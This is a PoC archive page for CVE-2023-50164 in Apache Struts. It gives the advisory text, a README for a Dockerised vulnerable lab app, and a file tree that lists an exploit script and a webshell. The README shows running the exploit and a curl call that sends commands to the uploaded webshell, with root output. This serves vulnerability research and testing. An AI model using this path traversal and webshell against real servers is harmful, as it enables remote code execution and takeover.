Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-50164 PoC — Apache Struts: File upload component had a directory traversal vulnerability

Source
Associated Vulnerability
Title:Apache Struts: File upload component had a directory traversal vulnerability (CVE-2023-50164)
Description:An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. Users are recommended to upgrade to versions Struts 2.5.33 or Struts 6.3.0.2 or greater to fix this issue.
Description
CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept
Readme
# CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept

This PoC has been made to test an RCE (Remote Code Execution) by exploiting the Apache Struts2 vulnerability.


![](img/1.png)

Build the image and run a container:

```console
$ DOCKER_BUILDKIT=1 docker build  . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc
```

Run the exploit:

```
$ cd exploit
$ ./exploit.sh
```

Now you can executy arbitrary commands on server side as showed:

```
$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a  

uid=0(root) gid=0(root) groups=0(root)
```

## Credits 

- Thanks to @jakabakos for an example of vulnerable application (https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE)
- Thanks to Zscaler ThreatLabz (https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-50164-apache-struts-path-traversal-and-file) for the diagram here above
File Snapshot

[4.0K] /data/pocs/a7b254a32dc67fffcd1600ccff2891524fcae2d9 ├── [ 347] Dockerfile ├── [4.0K] exploit │   ├── [ 132] exploit.sh │   └── [ 527] webshell.jsp ├── [4.0K] img │   └── [422K] 1.png ├── [4.7K] pom.xml ├── [ 930] README.md └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] it │   └── [4.0K] sunnyvale │   └── [4.0K] struts2rcepoc │   └── [1.8K] Upload.java ├── [4.0K] resources │   └── [ 874] struts.xml └── [4.0K] webapp ├── [ 189] index.html └── [4.0K] WEB-INF ├── [ 578] error.jsp ├── [ 599] success.jsp ├── [ 569] upload.jsp └── [ 779] web.xml 11 directories, 13 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →